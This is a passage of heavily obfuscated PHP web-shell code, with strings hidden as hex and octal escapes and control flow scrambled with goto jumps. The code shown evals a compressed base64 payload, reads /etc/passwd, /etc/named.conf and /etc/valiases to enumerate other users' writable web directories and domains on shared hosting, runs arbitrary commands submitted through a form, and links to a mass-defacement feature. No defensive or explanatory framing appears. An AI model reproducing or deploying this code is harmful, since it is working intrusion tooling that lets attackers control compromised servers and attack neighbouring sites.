3\\x63\\x72\\x69\\x70\\164\\x27\\x20\\163\\164\\171\\154\\145\\75\\47\\167\\x69\\144\\x74\\x68\\x3a\\40\\64\\65\\60\\x70\\170\\x3b\\x20\\x68\\x65\\151\\x67\\150\\164\\x3a\\40\\x32\\60\\60\\160\\x78\\73\\x27\\76\\74\\57\\164\\145\\170\\164\\141\\162\\x65\\141\\76\\74\\x62\\x72\\76\\12\\11\\74\\x69\\156\\x70\\x75\\x74\\40\\164\\171\\160\\x65\\x3d\\47\\x73\\x75\\142\\155\\151\\164\\47\\x20\\156\\141\\155\\x65\\75\\47\\163\\x74\\141\\162\\x74\\x27\\x20\\166\\141\\154\\x75\\x65\\75\\47\\x4b\\111\\114\\x4c\\47\\40\\163\\x74\\x79\\x6c\\145\\75\\47\\167\\151\\x64\\164\\x68\\72\\40\\64\\65\\x30\\x70\\x78\\73\\x27\\x3e\\xa\\11\\x3c\\57\\x66\\x6f\\x72\\x6d\\x3e\\x3c\\x2f\\x63\\145\\x6e\\164\\145\\x72\\x3e"; } } elseif ($_GET["\\164\\x6f"] == "\\163\\x79\\x6d") { echo "\\x3c\\x68\\x72\\x3e"; eval(gzinflate(base64_decode("\\67\\126\\146\\x2f\\x54\\71\\x74\\107\\x46\\120\\70\\71\\125\\166\\x36\\x48\\61\\x79\\117\\124\\x37\\132\\x48\\141\\x53\\122\\102\\162\\x52\\x65\\113\\125\\162\\x6a\\103\\x74\\60\\154\\x61\\153\\x41\\x74\\x73\\x6b\\161\\x43\\x4c\\110\\120\\155\\x4f\\x50\\x69\\70\\53\\66\\165\\x32\\102\\123\\x79\\x76\\53\\x2b\\144\\53\\146\\131\\x70\\x45\\x34\\101\\x6c\\126\\142\\141\\112\\150\\127\\x4a\\x79\\x48\\156\\146\\57\\142\\65\\x38\\x33\\x6b\\163\\x6e\\x6e\\152\\115\\107\\120\\153\\147\\154\\x4a\\x6f\\x4c\\x6d\\x4c\\x41\\x69\\x70\\x33\\x5a\\153\\x63\\x48\\67\\67\\57\\64\\57\\x44\\x39\\x6d\\130\\x56\\x77\\x39\\x4f\\x62\\x30\\x39\\x38\\116\\x33\\x4a\\x35\\x50\\x33\\x52\\60\\143\\x6e\\x31\\157\\x63\\165\\x45\\116\\x4b\\106\\124\\150\\x36\\157\\170\\x42\\x6d\\x32\\127\\x35\\62\\x6f\\116\\167\\x76\\x53\\x54\\x4b\\114\\x36\\146\\160\\167\\x79\\141\\150\\x4f\\120\\x71\\x74\\x44\\x4c\\147\\x68\\x6d\\x4e\\63\\x4a\\102\\x6e\\115\\x64\\x46\\x53\\x57\\x31\\x75\\112\\x55\\155\\150\\127\\x74\\x6c\\164\\160\\142\\106\\x63\\x36\\172\\153\\62\\x37\\164\\124\\x2b\\x37\\152\\106\\112\\x68\\153\\x34\\x69\\x47\\167\\127\\111\\x69\\x46\\x7a\\120\\123\\x37\\142\\x31\\x34\\70\\x55\\111\\x72\\x37\\131\\144\\112\\x67\\x32\\127\\x6f\\x39\\x4a\\161\\x47\\116\\155\\105\\132\\x50\\112\\146\\x67\\147\\145\\102\\x63\\x47\\x58\\x70\\x48\\145\\x39\\57\\102\\115\\113\\171\\152\\x58\\x4b\\x55\\143\\111\\x33\\161\\x62\\122\\123\\147\\x72\\64\\x52\\146\\x4f\\x47\\103\\53\\x4f\\106\\x37\\120\\146\\x30\\165\\x77\\123\\111\\x7a\\150\\x49\\x42\\x51\\x30\\126\\x46\\167\\x73\\152\\101\\x4d\\141\\70\\155\\66\\x68\\x5a\\x75\\x2f\\125\\66\\151\\153\\64\\127\\x4f\\121\\126\\x46\\x72\\65\\127\\110\\145\\125\\147\\172\\143\\x50\\x4d\\x6b\\102\\x38\\x50\\65\\x4e\\143\\x67\\x69\\x52\\x6b\\x57\\x54\\62\\x57\\x34\\x64\\102\\171\\161\\126\\x38\\x51\\x4a\\x65\\x5a\\x77\\x76\\114\\x42\\112\\114\\x72\\115\\x47\\x4b\\145\\60\\x38\\171\\x32\\x30\\x48\\x41\\121\\x34\\x6f\\164\\x4c\\x71\\62\\163\\x56\\x56\\150\\x6c\\157\\x59\\146\\x69\\106\\123\\102\\x58\\155\\x47\\141\\x57\\x37\\x5a\\145\\x7a\\x4f\\143\\x44\\x38\\x4f\\107\\132\\x63\\154\\125\\131\\166\\123\\115\\117\\106\\x41\\62\\x71\\x32\\122\\x43\\x71\\141\\x4d\\x51\\x73\\x44\\123\\x69\\70\\x77\\x50\\x61\\141\\x59\\x77\\x6a\\103\\153\\130\\105\\x52\\x58\\53\\x44\\x6c\\x5a\\x74\\x77\\141\\x68\\166\\106\\127\\x6d\\153\\x6b\\162\\x32\\x66\\145\\152\\x38\\x4d\\123\\70\\67\\x7a\\x6b\\104\\x4d\\x75\\71\\x72\\x5a\\x65\\x2f\\164\\x7a\\x44\\166\\66\\x45\\x31\\61\\x6d\\141\\105\\x2b\\131\\x77\\x2b\\163\\x7a\\x51\\x65\\170\\124\\170\\x54\\131\\115\\x52\\71\\x6c\\x73\\x34\\x6f\\x79\\x50\\121\\152\\71\\121\\146\\x6a\\131\\x78\\146\\145\\x63\\130\\x66\\x6b\\x61\\146\\x5a\\64\\65\\x4b\\x6e\\157\\123\\65\\121\\120\\165\\103\\x6e\\170\\105\\67\\x56\\x50\\x4a\\122\\x56\\x50\\61\\143\\x56\\103\\115\\171\\x78\\x30\\121\\x39\\166\\x44\\144\\x79\\x65\\155\\x58\\x30\\115\\x2b\\x52\\x7a\\60\\146\\x2b\\166\\147\\x74\\65\\157\\x49\\x47\\131\\126\\x4a\\63\\112\\101\\x51\\123\\154\\163\\x2b\\x36\\x4f\\142\\x46\\130\\161\\x61\\x41\\130\\x71\\125\\x30\\x2b\\70\\157\\x79\\x53\\142\\x73\\126\\171\\142\\156\\x49\\x6b\\124\\x32\\141\\x42\\x43\\160\\116\\x4a\\167\\112\\x68\\164\\x62\\127\\153\\x42\\x49\\x4c\\x62\\67\\x6f\\x30\\x4f\\62\\x72\\107\\65\\154\\122\\104\\53\\x55\\151\\x64\\x44\\x6c\\152\\x4e\\x6c\\x63\\x4a\\162\\x5a\\x2b\\121\\x73\\x4d\\x34\\x62\\x41\\167\\x62\\x52\\111\\x6c\\60\\x5a\\154\\x64\\103\\132\\57\\60\\x50\\132\\x37\\x30\\120\\152\\147\\x4e\\152\\x47\\107\\152\\57\\x6e\\124\\x6e\\x6d\\x41\\x55\\120\\116\\x75\\x55\\x79\\166\\112\\x78\\144\\125\\65\\143\\x55\\70\\x6a\\x57\\167\\x7a\\x61\\x4c\\x7a\\x49\\x71\\106\\x68\\117\\x32\\x78\\125\\x6d\\112\\x70\\x42\\x55\\x65\\163\\122\\x74\\155\\161\\x71\\x37\\x43\\x49\\166\\146\\x79\\102\\70\\x6d\\x70\\163\\x7a\\150\\115\\156\\105\\105\\130\\113\\x6a\\123\\x34\\x36\\x4c\\103\\x50\\145\\154\\x6e\\x4e\\x45\\x5a\\161\\101\\111\\155\\147\\x73\\131\\71\\152\\156\\145\\71\\65\\130\\x6c\\x45\\x55\\142\\164\\117\\63\\x53\\67\\x79\\x71\\x52\\151\\x79\\x51\\x30\\154\\x66\\x58\\x61\\x72\\167\\165\\x55\\63\\x73\\x4a\\x56\\x6a\\170\\160\\117\\146\\x33\\x71\\x5a\\x35\\x62\\107\\x45\\143\\x75\\x49\\x31\\x62\\x7a\\x4b\\164\\x64\\x58\\122\\x73\\117\\x58\\126\\66\\x4f\\x42\\160\\113\\120\\x41\\x53\\x50\\x71\\120\\x65\\155\\x72\\161\\x58\\172\\x36\\x63\\163\\104\\123\\143\\x34\\x35\\143\\x77\\103\\106\\121\\152\\x4d\\x70\\127\\71\\x4e\\160\\x69\\x7a\\x49\\114\\x71\\62\\61\\x4b\\x4a\\x73\\x64\\x74\\101\\x78\\164\\x32\\x55\\x4f\\x77\\x57\\x73\\150\\x6c\\x76\\162\\141\\x33\\150\\67\\145\\63\\x74\\63\\127\\161\\120\\124\\x4f\\x76\\160\\x74\\x39\\165\\113\\x5a\\x4e\\x55\\x6c\\x2f\\114\\x6b\\70\\x50\\152\\105\\x4c\\171\\x48\\123\\x4d\\x6b\\130\\114\\60\\126\\60\\122\\127\\x57\\125\\67\\x67\\107\\x30\\x45\\x6e\\x6f\\123\\x49\\x2f\\63\\126\\101\\x68\\x4d\\143\\x51\\x45\\122\\x36\\x41\\x52\\117\\121\\62\\x55\\122\\x45\\x71\\x57\\111\\x51\\x48\\143\\x4c\\105\\x2f\\114\\x74\\x45\\x4f\\67\\x73\\x45\\x4e\\x30\\57\\x4d\\x37\\x47\\x7a\\x48\\165\\105\\132\\125\\x4e\\x32\\120\\123\\x59\\153\\x33\\126\\x45\\161\\x76\\x45\\111\\x50\\147\\x63\\x6b\\115\\117\\71\\x64\\x4a\\64\\x75\\x73\\144\\x41\\x70\\165\\130\\x53\\113\\111\\x41\\61\\x77\\101\\166\\x55\\66\\126\\x54\\125\\64\\172\\70\\57\\x61\\x4b\\x67\\65\\x59\\106\\162\\x66\\152\\x4d\\126\\102\\x36\\113\\x52\\x4c\\146\\132\\x73\\x35\\x68\\x79\\x58\\114\\x61\\141\\x37\\165\\152\\107\\147\\157\\x37\\145\\60\\x6a\\x47\\x32\\x76\\x6c\\170\\123\\x6a\\125\\117\\x44\\131\\154\\123\\x7a\\x41\\x69\\x47\\x43\\150\\126\\61\\x53\\144\\x55\\x42\\x33\\x49\\111\\x63\\164\\x65\\x2b\\x34\\x68\\165\\114\\x31\\171\\172\\x76\\x66\\x4f\\x50\\x55\\71\\x71\\150\\112\\120\\x64\\x57\\162\\144\\x70\\141\\x50\\127\\121\\x49\\x4f\\x56\\105\\x64\\x76\\106\\x71\\x71\\103\\122\\167\\x39\\157\\63\\107\\x48\\x51\\162\\127\\150\\150\\x44\\x35\\x2b\\147\\x50\\x34\\71\\x41\\156\\127\\107\\114\\x34\\x50\\x50\\x63\\62\\64\\143\\53\\x4d\\x44\\x6d\\x61\\x59\\x5a\\127\\123\\120\\161\\x6c\\x50\\63\\x56\\x37\\63\\165\\x78\\x58\\117\\144\\x64\\x42\\143\\112\\x6a\\x36\\x64\\x54\\114\\x37\\155\\x4d\\x47\\111\\151\\70\\x30\\141\\x54\\120\\63\\147\\x75\\143\\112\\106\\x65\\163\\70\\x75\\x54\\x45\\x51\\131\\171\\53\\x61\\162\\x54\\x50\\155\\x45\\153\\60\\150\\116\\116\\60\\124\\121\\66\\x7a\\x79\\x7a\\x57\\53\\x56\\142\\x57\\112\\x6f\\x44\\x63\\124\\146\\x7a\\x51\\x78\\172\\x68\\170\\105\\110\\153\\64\\62\\x33\\155\\105\\161\\172\\117\\x62\\x30\\x62\\x49\\x44\\x30\\147\\104\\x7a\\x58\\165\\x68\\x6f\\x33\\x77\\x59\\x4c\\145\\166\\x77\\x4c\\x7a\\x57\\161\\x30\\113\\x70\\x46\\115\\155\\161\\65\\x30\\x63\\x4d\\x56\\102\\152\\x2f\\101\\115\\121\\63\\x58\\x4b\\x77\\151\\x2f\\x42\\x72\\101\\61\\x77\\x4d\\x59\\x33\\x44\\116\\71\\x47\\x72\\71\\162\\154\\x4b\\153\\x6d\\157\\x77\\x6e\\155\\x4a\\132\\124\\x72\\53\\x35\\x56\\x4c\\x65\\x49\\x59\\112\\x2f\\x6a\\x50\\x4e\\x49\\154\\65\\111\\x34\\x74\\x7a\\143\\151\\x39\\155\\x62\\105\\x46\\x74\\146\\163\\x47\\x74\\x34\\x66\\131\\x66\\x57\\66\\x50\\x6b\\x4c\\101\\x62\\166\\x58\\145\\x2f\\x6b\\x4e\\157\\x4c\\162\\x64\\x2b\\x6d\\x71\\167\\146\\147\\x43\\160\\161\\x30\\111\\x6e\\x67\\62\\x57\\x5a\\162\\x63\\163\\102\\131\\x7a\\163\\x37\\60\\x61\\101\\x75\\104\\x78\\170\\x54\\143\\x55\\130\\106\\x79\\x45\\x73\\x47\\x34\\62\\x38\\103\\x37\\x6d\\x38\\x50\\57\\154\\x56\\x67\\x56\\63\\123\\x57\\x59\\66\\111\\111\\x47\\130\\x62\\x77\\121\\117\\166\\152\\x59\\x38\\x38\\x38\\104\\124\\124\\127\\66\\65\\x73\\143\\x68\\x66\\101\\101\\164\\x5a\\x66\\x73\\x6b\\x51\\53\\107\\127\\x33\\x37\\x64\\x33\\x6e\\142\\x67\\160\\157\\x50\\x58\\156\\166\\x35\\x68\\x31\\142\\152\\57\\x6a\\115\\x41\\123\\x51\\146\\x46\\x77\\x51\\x4a\\x4a\\x54\\117\\x6e\\116\\x39\\x2b\\112\\165\\156\\x57\\114\\131\\x39\\x71\\62\\166\\x49\\x4c\\x6a\\x6e\\120\\163\\x48\\107\\x72\\123\\x6c\\151\\x6a\\x71\\x66\\x44\\x47\\x31\\162\\x41\\113\\x72\\x54\\x77\\x2b\\x39\\132\\144\\154\\x41\\53\\64\\151\\60\\125\\122\\154\\x6c\\x6f\\53\\x69\\x55\\162\\x6b\\x34\\x6a\\x67\\x6a\\145\\x52\\x62\\154\\x59\\x34\\x6e\\x78\\x65\\x4c\\x59\\57\\x64\\x37\\154\\x4a\\x52\\153\\61\\x64\\107\\x5a\\x78\\144\\x4e\\x72\\x61\\171\\60\\x61\\x70\\71\\164\\163\\x76\\x70\\126\\53\\x32\\x78\\x39\\x6d\\130\\62\\142\\x54\\146\\132\\x39\\x6a\\x58\\x31\\146\\131\\57\\x2f\\x6e\\116\\x64\\x59\\131\\170\\167\\x32\\142\\x62\\x4f\\x52\\106\\x36\\x52\\x56\\x2b\\x4c\\157\\x4d\\x6d\\x77\\x33\\x6d\\155\\172\\x61\\65\\115\\x70\\154\\107\\66\\x42\\x62\\63\\x76\\x34\\105\\x35\\71\\x45\\x77\\113\\53\\103\\x62\\113\\x4d\\x34\\x79\\x76\\x6a\\172\\x32\\x68\\106\\157\\x59\\x6d\\x48\\x74\\x51\\144\\x74\\x72\\x76\\x78\\57\\116\\146\\64\\x48"))); } elseif ($_GET["\\164\\x6f"] == "\\x6a\\x75\\155\\160\\x69\\x6e\\x67") { $i = 0; echo "\\x3c\\144\\x69\\x76\\x20\\x63\\154\\141\\163\\163\\75\\47\\155\\141\\162\\x67\\x69\\156\\72\\40\\x35\\x70\\x78\\40\\x61\\165\\164\\157\\x3b\\x27\\x3e"; if (preg_match("\\57\\x68\\163\\160\\x68\\x65\\x72\\145\\x2f", $dir)) { $urls = explode("\\15\\xa", $_POST["\\x75\\162\\154"]); if (isset($_POST["\\x6a\\x75\\x6d\\160"])) { echo "\\x3c\\x70\\162\\145\\76"; foreach ($urls as $url) { $url = str_replace(array("\\x68\\164\\164\\x70\\x3a\\57\\57", "\\167\\x77\\167\\56"), \'\', strtolower($url)); $etc = "\\57\\x65\\164\\x63\\x2f\\160\\x61\\163\\x73\\x77\\144"; $f = fopen($etc, "\\162"); while ($gets = fgets($f)) { $pecah = explode("\\x3a", $gets); $user = $pecah[0]; $dir_user = "\\57\\x68\\x73\\160\\150\\145\\x72\\145\\x2f\\x6c\\x6f\\143\\141\\154\\x2f\\150\\x6f\\155\\x65\\x2f{$user}"; if (is_dir($dir_user) === true) { $url_user = $dir_user . "\\57" . $url; if (is_readable($url_user)) { $i++; $jrw = "\\x5b\\x3c\\x66\\x6f\\156\\164\\40\\143\\x6f\\154\\x6f\\x72\\x3d\\x6c\\x69\\x6d\\x65\\x3e\\122\\x3c\\57\\146\\x6f\\x6e\\x74\\x3e\\x5d\\x20\\74\\141\\x20\\150\\x72\\x65\\146\\x3d\\x27\\77\\144\\151\\x72\\75{$url_user}\\47\\76\\x3c\\x66\\157\\156\\x74\\x20\\143\\x6f\\154\\157\\162\\75\\x67\\x6f\\x6c\\144\\76{$url_user}\\x3c\\x2f\\x66\\x6f\\156\\164\\x3e\\74\\57\\141\\76"; if (is_writable($url_user)) { $jrw = "\\133\\x3c\\x66\\157\\156\\164\\40\\143\\x6f\\x6c\\x6f\\162\\75\\x6c\\x69\\x6d\\145\\x3e\\x52\\x57\\74\\x2f\\146\\x6f\\x6e\\164\\x3e\\x5d\\40\\x3c\\141\\x20\\x68\\x72\\145\\x66\\75\\x27\\77\\x64\\x69\\162\\75{$url_user}\\47\\x3e\\74\\x66\\157\\x6e\\164\\40\\143\\x6f\\154\\157\\x72\\75\\x67\\157\\x6c\\144\\76{$url_user}\\x3c\\57\\x66\\157\\x6e\\164\\76\\74\\57\\141\\x3e"; } echo $jrw . "\\74\\x62\\162\\76"; } } } } if ($i == 0) { } else { echo "\\x3c\\142\\162\\76\\x54\\157\\164\\141\\154\\x20\\x61\\x64\\141\\40" . $i . "\\40\\113\\x61\\x6d\\x61\\x72\\x20\\144\\151\\40" . $ip; } echo "\\74\\57\\160\\162\\x65\\x3e"; } else { echo "\\74\\x63\\145\\x6e\\164\\x65\\x72\\x3e\\12\\11\\11\\11\\11\\x20\\40\\74\\146\\157\\162\\155\\40\\155\\x65\\x74\\150\\x6f\\x64\\75\\x22\\160\\157\\163\\164\\42\\x3e\\12\\x9\\x9\\11\\11\\40\\40\\x4c\\151\\x73\\164\\x20\\x44\\x6f\\x6d\\x61\\x69\\156\\163\\72\\40\\74\\x62\\x72\\76\\12\\x9\\x9\\11\\11\\x20\\x20\\x3c\\x74\\x65\\x78\\164\\x61\\162\\x65\\x61\\40\\x6e\\141\\x6d\\x65\\75\\42\\165\\x72\\154\\x22\\x20\\x73\\164\\x79\\x6c\\x65\\75\\x22\\x77\\x69\\x64\\164\\x68\\x3a\\x20\\x35\\x30\\x30\\x70\\170\\x3b\\40\\x68\\x65\\x69\\x67\\150\\164\\72\\40\\62\\x35\\x30\\x70\\x78\\x3b\\x22\\76"; $fp = fopen("\\57\\150\\x73\\x70\\150\\x65\\162\\x65\\x2f\\x6c\\157\\x63\\141\\154\\x2f\\x63\\x6f\\156\\146\\x69\\x67\\x2f\\x68\\x74\\x74\\160\\144\\57\\163\\x69\\164\\x65\\163\\x2f\\x73\\x69\\x74\\145\\163\\x2e\\164\\170\\x74", "\\162"); while ($getss = fgets($fp)) { echo $getss; } echo "\\74\\x2f\\x74\\145\\170\\164\\x61\\x72\\x65\\141\\x3e\\74\\x62\\162\\76\\12\\11\\x9\\x9\\11\\x20\\40\\74\\x69\\156\\160\\165\\x74\\40\\x74\\171\\x70\\145\\75\\42\\163\\165\\x62\\155\\x69\\x74\\x22\\40\\166\\141\\154\\165\\145\\75\\x22\\x4a\\x75\\155\\160\\151\\x6e\\147\\42\\x20\\156\\141\\155\\145\\75\\x22\\x6a\\165\\x6d\\x70\\42\\40\\x73\\x74\\171\\154\\x65\\75\\42\\167\\x69\\144\\x74\\150\\x3a\\40\\x35\\60\\x30\\x70\\x78\\73\\x20\\x68\\145\\151\\147\\x68\\x74\\x3a\\40\\62\\x35\\x70\\x78\\73\\x22\\76\\12\\11\\x9\\x9\\x9\\40\\40\\74\\x2f\\x66\\157\\162\\155\\x3e\\74\\57\\x63\\145\\156\\164\\x65\\162\\x3e"; } } elseif (preg_match("\\57\\166\\150\\157\\x73\\x74\\163\\174\\166\\150\\157\\163\\x74\\x2f", $dir)) { preg_match("\\x2f\\x5c\\x2f\\x76\\141\\x72\\x5c\\x2f\\x77\\167\\x77\\134\\57\\x28\\x2e\\52\\77\\x29\\x5c\\x2f\\x2f", $dir, $vh); $urls = explode("\\xd\\12", $_POST["\\165\\162\\154"]); if (isset($_POST["\\x6a\\165\\x6d\\160"])) { echo "\\74\\160\\x72\\x65\\76"; foreach ($urls as $url) { $url = str_replace("\\167\\x77\\x77\\x2e", \'\', $url); $web_vh = "\\57\\x76\\141\\162\\57\\167\\x77\\167\\57" . $vh[1] . "\\57{$url}\\x2f\\150\\164\\164\\160\\144\\x6f\\143\\x73"; if (is_dir($web_vh) === true) { if (is_readable($web_vh)) { $i++; $jrw = "\\133\\x3c\\146\\157\\156\\x74\\40\\143\\x6f\\154\\x6f\\162\\x3d\\x6c\\151\\155\\145\\x3e\\x52\\74\\x2f\\146\\157\\x6e\\x74\\x3e\\x5d\\40\\x3c\\x61\\x20\\150\\x72\\145\\x66\\x3d\\x27\\x3f\\x64\\x69\\162\\x3d{$web_vh}\\x27\\x3e\\74\\x66\\157\\x6e\\x74\\x20\\x63\\157\\x6c\\157\\162\\75\\x67\\157\\x6c\\144\\x3e{$web_vh}\\74\\x2f\\x66\\x6f\\x6e\\x74\\x3e\\74\\x2f\\x61\\76"; if (is_writable($web_vh)) { $jrw = "\\133\\74\\x66\\x6f\\156\\164\\40\\143\\157\\154\\x6f\\x72\\75\\x6c\\151\\x6d\\x65\\76\\122\\x57\\x3c\\x2f\\x66\\157\\156\\x74\\x3e\\135\\x20\\x3c\\141\\x20\\150\\162\\x65\\x66\\x3d\\x27\\x3f\\x64\\x69\\162\\x3d{$web_vh}\\x27\\x3e\\74\\x66\\157\\156\\164\\40\\x63\\157\\154\\157\\x72\\75\\147\\x6f\\x6c\\x64\\x3e{$web_vh}\\x3c\\x2f\\146\\157\\156\\x74\\x3e\\x3c\\x2f\\x61\\x3e"; } echo $jrw . "\\74\\142\\x72\\76"; } } } if ($i == 0) { } else { echo "\\74\\x62\\162\\x3e\\x54\\x6f\\164\\141\\x6c\\40\\x61\\x64\\141\\x20" . $i . "\\x20\\x4b\\141\\x6d\\x61\\x72\\x20\\144\\x69\\40" . $ip; } echo "\\x3c\\57\\x70\\162\\x65\\76"; } else { echo "\\74\\x63\\145\\x6e\\x74\\145\\162\\x3e\\12\\x9\\11\\11\\11\\40\\x20\\74\\x66\\157\\162\\x6d\\40\\x6d\\145\\164\\150\\x6f\\144\\75\\x22\\160\\157\\x73\\x74\\x22\\x3e\\xa\\x9\\x9\\x9\\x9\\40\\40\\114\\151\\163\\x74\\x20\\104\\157\\x6d\\x61\\151\\x6e\\163\\72\\x20\\74\\x62\\x72\\76\\12\\x9\\x9\\11\\x9\\x20\\x20\\x3c\\164\\x65\\x78\\164\\x61\\x72\\x65\\141\\x20\\156\\141\\x6d\\145\\75\\x22\\165\\x72\\x6c\\42\\40\\x73\\x74\\171\\x6c\\145\\x3d\\x22\\167\\x69\\x64\\164\\150\\x3a\\x20\\65\\60\\x30\\160\\x78\\x3b\\40\\x68\\x65\\151\\147\\x68\\164\\x3a\\x20\\x32\\x35\\60\\160\\170\\x3b\\x22\\76"; bing("\\x69\\160\\72{$ip}"); echo "\\x3c\\x2f\\x74\\145\\x78\\x74\\x61\\162\\145\\141\\76\\74\\x62\\x72\\x3e\\12\\11\\x9\\x9\\11\\40\\40\\74\\151\\x6e\\x70\\165\\164\\x20\\x74\\171\\160\\145\\75\\42\\163\\165\\142\\155\\x69\\164\\x22\\40\\166\\x61\\x6c\\165\\x65\\x3d\\42\\112\\x75\\155\\x70\\151\\x6e\\147\\42\\40\\156\\141\\x6d\\145\\x3d\\x22\\152\\165\\x6d\\160\\42\\40\\163\\x74\\x79\\154\\145\\x3d\\42\\x77\\151\\x64\\x74\\150\\72\\x20\\65\\60\\x30\\160\\170\\73\\40\\x68\\145\\151\\147\\x68\\x74\\x3a\\x20\\x32\\x35\\x70\\170\\x3b\\42\\x3e\\12\\11\\11\\11\\x9\\x20\\40\\x3c\\x2f\\146\\157\\x72\\x6d\\x3e\\74\\x2f\\x63\\145\\x6e\\x74\\145\\162\\76"; } } else { echo "\\74\\x70\\x72\\145\\76"; $etc = fopen("\\57\\x65\\164\\143\\57\\x70\\141\\163\\x73\\x77\\144", "\\162") or die("\\x3c\\x66\\157\\x6e\\164\\x20\\143\\157\\154\\x6f\\162\\x3d\\x72\\145\\144\\x3e\\103\\x61\\156\\x27\\x74\\x20\\x72\\145\\x61\\x64\\x20\\x2f\\145\\164\\143\\x2f\\x70\\141\\163\\163\\x77\\x64\\x3c\\x2f\\x66\\157\\x6e\\x74\\x3e"); while ($passwd = fgets($etc)) { if ($passwd == \'\' || !$etc) { echo "\\74\\146\\157\\156\\164\\x20\\143\\x6f\\x6c\\x6f\\162\\x3d\\162\\x65\\x64\\76\\x43\\141\\156\\x27\\164\\x20\\162\\x65\\x61\\144\\x20\\x2f\\x65\\164\\x63\\x2f\\x70\\141\\x73\\163\\167\\144\\74\\x2f\\x66\\157\\x6e\\x74\\76"; } else { preg_match_all("\\57\\50\\x2e\\52\\x3f\\51\\72\\170\\72\\x2f", $passwd, $user_jumping); foreach ($user_jumping[1] as $user_idx_jump) { $user_jumping_dir = "\\x2f\\150\\x6f\\155\\145\\57{$user_idx_jump}\\x2f\\160\\165\\x62\\154\\x69\\x63\\137\\150\\x74\\x6d\\154"; if (is_readable($user_jumping_dir)) { $i++; $jrw = "\\133\\74\\x66\\157\\x6e\\164\\40\\x63\\157\\154\\157\\162\\75\\x6c\\x69\\x6d\\145\\76\\122\\x3c\\57\\146\\x6f\\x6e\\x74\\x3e\\135\\x20\\74\\141\\x20\\x68\\162\\145\\x66\\x3d\\x27\\77\\144\\151\\162\\75{$user_jumping_dir}\\x27\\76\\74\\146\\157\\156\\x74\\40\\x63\\157\\x6c\\x6f\\162\\x3d\\147\\x6f\\154\\x64\\x3e{$user_jumping_dir}\\x3c\\57\\x66\\157\\x6e\\164\\76\\x3c\\x2f\\141\\x3e"; if (is_writable($user_jumping_dir)) { $jrw = "\\133\\x3c\\146\\x6f\\x6e\\x74\\x20\\x63\\x6f\\x6c\\157\\x72\\75\\154\\x69\\155\\145\\x3e\\x52\\127\\74\\57\\146\\x6f\\x6e\\164\\76\\x5d\\40\\x3c\\x61\\x20\\x68\\162\\x65\\x66\\x3d\\47\\x3f\\x64\\151\\162\\75{$user_jumping_dir}\\47\\76\\x3c\\146\\x6f\\156\\164\\x20\\x63\\x6f\\x6c\\x6f\\x72\\x3d\\147\\x6f\\154\\144\\x3e{$user_jumping_dir}\\74\\x2f\\146\\x6f\\156\\164\\x3e\\x3c\\57\\x61\\x3e"; } echo $jrw; if (function_exists("\\160\\157\\163\\x69\\x78\\x5f\\147\\145\\164\\160\\167\\x75\\151\\144")) { $domain_jump = file_get_contents("\\x2f\\145\\164\\143\\57\\x6e\\141\\x6d\\x65\\x64\\x2e\\x63\\157\\156\\146"); if ($domain_jump == \'\') { echo "\\x20\\x3d\\76\\40\\50\\40\\x3c\\146\\157\\x6e\\x74\\40\\x63\\157\\154\\157\\162\\75\\162\\x65\\x64\\x3e\\x67\\x61\\x62\\151\\163\\141\\x20\\141\\x6d\\x62\\151\\x6c\\x20\\156\\141\\x6d\\141\\x20\\144\\x6f\\x6d\\141\\x69\\156\\40\\156\\171\\x61\\x3c\\57\\146\\x6f\\x6e\\164\\76\\x20\\x29\\74\\x62\\162\\76"; } else { preg_match_all("\\43\\57\\166\\141\\162\\57\\x6e\\x61\\x6d\\x65\\144\\x2f\\50\\x2e\\52\\77\\51\\56\\144\\142\\43", $domain_jump, $domains_jump); foreach ($domains_jump[1] as $dj) { $user_jumping_url = posix_getpwuid(@fileowner("\\57\\x65\\x74\\143\\x2f\\166\\141\\154\\151\\x61\\163\\x65\\163\\x2f{$dj}")); $user_jumping_url = $user_jumping_url["\\156\\141\\155\\145"]; if ($user_jumping_url == $user_idx_jump) { echo "\\40\\x3d\\x3e\\x20\\x28\\40\\74\\165\\x3e{$dj}\\x3c\\57\\165\\x3e\\x20\\x29\\x3c\\x62\\x72\\x3e"; break; } } } } else { echo "\\74\\x62\\162\\76"; } } } } } if ($i == 0) { } else { echo "\\74\\142\\162\\x3e\\x54\\157\\x74\\141\\154\\x20\\x61\\144\\x61\\40" . $i . "\\40\\x4b\\141\\x6d\\141\\x72\\40\\x64\\151\\40" . $ip; } echo "\\x3c\\x2f\\160\\162\\145\\76"; } echo "\\x3c\\57\\x64\\x69\\x76\\x3e"; } elseif ($_GET["\\x74\\x6f"] == "\\143\\155\\x64") { echo "\\x3c\\x66\\157\\x72\\155\\x20\\155\\145\\x74\\x68\\x6f\\144\\x3d\\47\\x70\\157\\x73\\x74\\47\\76\\xa\\x9\\x3c\\146\\157\\x6e\\164\\40\\x73\\x74\\x79\\154\\145\\x3d\\x27\\164\\x65\\170\\x74\\x2d\\x64\\145\\143\\x6f\\162\\x61\\x74\\x69\\x6f\\x6e\\72\\40\\165\\x6e\\x64\\x65\\x72\\154\\x69\\x6e\\145\\73\\47\\x3e" . $user . "\\x40" . $ip . "\\x3a\\40\\176\\x20\\44\\40\\74\\x2f\\146\\157\\156\\x74\\76\\12\\x9\\x3c\\x69\\x6e\\x70\\x75\\164\\40\\x74\\171\\x70\\145\\x3d\\47\\164\\145\\170\\164\\47\\40\\x73\\x69\\x7a\\x65\\x3d\\47\\63\\x30\\47\\x20\\x68\\145\\x69\\147\\150\\164\\75\\47\\x31\\x30\\47\\40\\156\\x61\\x6d\\x65\\x3d\\47\\x63\\x6d\\144\\x27\\76\\74\\151\\x6e\\160\\x75\\x74\\x20\\x74\\x79\\160\\145\\75\\47\\163\\165\\142\\155\\151\\164\\x27\\40\\x6e\\x61\\155\\145\\75\\x27\\144\\x6f\\137\\x63\\155\\144\\47\\40\\x76\\141\\x6c\\165\\145\\x3d\\x27\\x3e\\76\\x27\\76\\xa\\11\\74\\57\\146\\x6f\\162\\x6d\\76"; if ($_POST["\\x64\\x6f\\x5f\\143\\155\\144"]) { echo "\\74\\160\\x72\\x65\\76" . exe($_POST["\\143\\x6d\\x64"]) . "\\x3c\\57\\x70\\x72\\145\\76"; } } goto BtTy0; Te0ev: echo "\\133\\x20\\74\\x61\\x20\\x68\\162\\x65\\146\\75\\47\\77\\144\\151\\x72\\x3d{$dir}\\46\\x74\\x6f\\x3d\\x6d\\141\\163\\x73\\x27\\x3e\\x4d\\141\\x73\\x73\\40\\x44\\x65\\x70\\145\\163\\74\\x2f\\141\\x3e\\40\\x5d"; goto USAS0; KiNse: echo 